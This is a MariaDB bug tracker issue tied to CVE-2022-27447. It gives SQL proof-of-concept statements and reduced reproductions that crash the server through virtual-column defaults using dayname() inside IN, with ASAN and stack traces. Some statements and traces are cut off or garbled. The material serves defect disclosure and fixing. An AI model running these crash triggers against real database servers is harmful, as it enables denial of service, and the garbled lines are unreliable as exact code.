▼ Details

Status: CLOSED (View Workflow)

Priority: Blocker
Resolution: Duplicate

Affects Version/s: 10.9.0, 10.2, 10.3, 10.4, 10.5, 10.6, 10.7

Fix Version/s: 10.3.35, 10.4.25, 10.5.16, (2)

Component/s: Virtual Columns

Labels: None

Environment: Linux jie-2 5.4.143-1-pve #1 SMP PVE 5.4.143-1 (Tue, 28 Sep 2021 09:10:37

+0200) x86_64 x86_64 x86_64 GNU/Linux

Description

PoC:

```
CREATE TABLE v0 ( v1 INT UNIQUE PRIMARY KEY );

DROP EVENT IF EXISTS v0;

UPDATE v0 SET v1 = -1 WHERE v1 = 'x' ORDER BY 'x' DESC LIMIT 93;

ALTER TABLE v0 ADD COLUMN ( MEMORY TINYBLOB DEFAULT ( v1 IN ( DAYNAME ( v1 ) , '' ,

UPDATE v0 SET v1 = NULL WHERE ( IF ( v1 AND v1 , 72 , 30 ) );

INSERT IGNORE INTO v0 SET v1 = ( '' ) + ( ( 'x' / NULL = INET_ATON ( ( v1 OR 'x' )
```

report (compiled with ASAN):

#9 0xc41ba9 in dispatch_command(enum_server_command, THD*, char*, unsigned
#10 0xc4b74b in do_command(THD*, bool) /root/mariadb/sql/sql_parse.cc:1402:
#11 0x111f9f2 in do_handle_one_connection(CONNECT*, bool) /root/mariadb/sql
#12 0x111f248 in handle_one_connection /root/mariadb/sql/sql_connect.cc:131
#13 0x1f3f9dd in pfs_spawn_thread /root/mariadb/storage/perfschema/pfs.cc:2
#14 0x7f2f26f57608 in start thread /build/glibc-sMfBJT/glibc-2.31/nptl/pthr





duplicates

- MDEV-24176 Server crashes after insert in the table with virtual column ...
- MDEV-26407 Server crashes in Item_func_in::cleanup/Item::cleanup_proc... 🔅 closed

relates to

links to

CVE-2022-27447



Activity

▼ O Alice Sherepa added a comment - 2022-03-16 13:31 - edited

Thanks!

I repeated on 10.2-10.9, with InnoDB/Mylsam, probably the same as MDEV-26407

CREATE TABLE t1 (a int primary key, b int DEFAULT (1 IN (dayname(a),'2')));
UPDATE t1 SET a = 1;

10.2 0f56e21efa68ba3b37d117

mysqld: /10.2/src/sql/field.cc:2203: virtual bool Field_num::get_date(MYSQ
220316 14:05:10 [ERROR] mysqld got signal 6;

Server version: 10.2.44-MariaDB-debug-log

/lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fcd927fe006]
sql/field.cc:2204(Field_num::get_date(st_mysql_time*, unsigned long long))
sql/item.cc:2841(Item_field::get_date(st_mysql_time*, unsigned long long))

```
1012/0156621e1658(124327:01617_date_with_conversion(st_mysql_time*, unsigned losql/item_timefunc.cc:1096(weekday_from_item(Item*, bool*, bool))[0x55841e2]
sql/item_timefunc.cc:1126(Item_func_dayname::val_str(String*))[0x55841e211]
sql/item_strfunc.cc:129(Item_str_func::val_real())[0x55841e15e1ab]
sql/item_cmpfunc.cc:3809(in_double::set(unsigned int, Item*))[0x55841e080b]
sql/item_cmpfunc.cc:4218(Item_func_in::create_array(THD*))[0x55841e084507]
sql/item_cmpfunc.cc:4375(Item_func_in::fix_length_and_dec())[0x55841e0859e]
sql/item_func.cc:230(Item_func::fix_fields(THD*, Item**))[0x55841e0df8a5]
```

on 10.4+:

10.4 069139a549a62f26d5

```
mysqld: /10.4/src/sql/field.cc:2130: virtual bool Field_int::get_date(MYSQ
220316 14:06:57 [ERROR] mysqld got signal 6 ;
Server version: 10.4.25-MariaDB-debug-log
```

```
/lib/x86_64-linux-gnu/libc.so.6(+0x34006)[0x7fa5e0944006]
sql/field.cc:2131(Field_int::get_date(st_mysql_time*, date_mode_t))[0x557d
sql/item.cc:3264(Item_field::get_date(THD*, st_mysql_time*, date_mode_t))[
sql/sql_type.cc:904(Temporal_with_date::make_from_item(THD*, Item*, date_m
sql/sql_type.h:1946(Temporal_with_date::Temporal_with_date(THD*, Item*, da
sql/sql_type.h:2226(Datetime::Datetime(THD*, Item*, date_mode_t))[0x557da6
sql/item_timefunc.cc:1143(Item_func_dayname::val_str(String*))[0x557da70f3
sql/item_strfunc.cc:150(Item_str_func::val_real())[0x557da7024b7a]
sql/item_cmpfunc.cc:3867(in_double::set(unsigned int, Item*))[0x557da6f2f4
sql/item_cmpfunc.cc:4431(Item_func_in::fix_in_vector())[0x557da6f3489d]
sql/item_cmpfunc.h:2400(Item_func_in::fix_for_scalar_comparison_using_bise
sql/sql_type.cc:5406(Type_handler_real_result::Item_func_in_fix_comparator
```

Similar with insert instead of update:

```
CREATE TABLE t1 (a int primary key, b int DEFAULT (1 IN (dayname(a),'2'))) ;
insert into t1(a) values (1);
```

If there is no index:

```
CREATE TABLE t1 (a int, b int DEFAULT (1 IN (dayname(a),'2')));
insert into t1(a) values (1);
insert into t1(a) values (1);
```

10.2 0f56e21efa68ba3b37d117

Version: '10.2.44-MariaDB-debug-log'

10-2-0f56e21efa68ha3h37d117-----==289599==ERROR: AddressSanitizer: use-after-poison on address 0x62b000000 READ of size 8 at 0x62b00000dd0 thread T27 #0 0x56107b2b87c2 in Item func in::cleanup() /10.2/src/sql/item cmpfun #1 0x56107af4bdbf in Item::cleanup processor(void*) /10.2/src/sql/item #2 0x56107a6b5bea in Item::cleanup excluding fields processor(void*) / #3 0x56107a7ccc80 in Item func or sum::walk(bool (Item::*)(void*), boo #4 0x56107ab90429 in fix session vcol expr(THD*, Virtual column info*) #5 0x56107a7b0bd6 in TABLE::fix_vcol_exprs(THD*) /10.2/src/sql/sql_bas #6 0x56107a7b10b2 in fix_all_session_vcol_exprs /10.2/src/sql/sql_base #7 0x56107a7b2184 in lock_tables(THD*, TABLE_LIST*, unsigned int, unsi #8 0x56107a7b0062 in open_and_lock_tables(THD*, DDL_options_st const&, #9 0x56107a7273e3 in open_and_lock_tables(THD*, TABLE_LIST*, bool, uns #10 0x56107a868149 in mysql insert(THD*, TABLE LIST*, List<Item>&, Lis #11 0x56107a8d1434 in mysql execute command(THD*) /10.2/src/sql/sql pa #12 0x56107a8e9d0f in mysql_parse(THD*, char*, unsigned int, Parser_st , #13 0x56107a8c2f14 in dispatch command(enum server command. THD*. char

this test also crashes on non-debug:

```
10.6.7
Version: '10.6.7-MariaDB'
220316 14:01:32 [ERROR] mysqld got signal 11;
Server version: 10.6.7-MariaDB
sigaction.c:0(__restore_rt)[0x7ff91686b3c0]
sql/item_cmpfunc.h:2115(Predicant_to_list_comparator::Predicant_to_value_c
sql/item.cc:574(Item::cleanup_processor(void*))[0x564631a00cfa]
sql/table.cc:3624(fix_session_vcol_expr(THD*, Virtual_column_info*))[0x564
sql/sql_base.cc:5446(TABLE::fix_vcol_exprs(THD*))[0x56463175cc32]
sql/sql_base.cc:5480(lock_tables(THD*, TABLE_LIST*, unsigned int, unsigned
sql/sql_base.cc:5274(open_and_lock_tables(THD*, DDL_options_st const&, TAB
sql/sql_insert.cc:752(mysql_insert(THD*, TABLE_LIST*, List<Item>&, List<Li</pre>
sql/sql_parse.cc:4567(mysql_execute_command(THD*, bool))[0x5646317c6f48]
sql/sql_parse.cc:8030(mysql_parse(THD*, char*, unsigned int, Parser_state*
sql/sql_parse.cc:1955(dispatch_command(enum_server_command, THD*, char*, u
sql/sql_parse.cc:1406(do_command(THD*, bool))[0x5646317cce83]
sal/sal connect.cc:1418(do handle one connection(CONNECT*. bool))[0x564631
```

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▼ Git Integration

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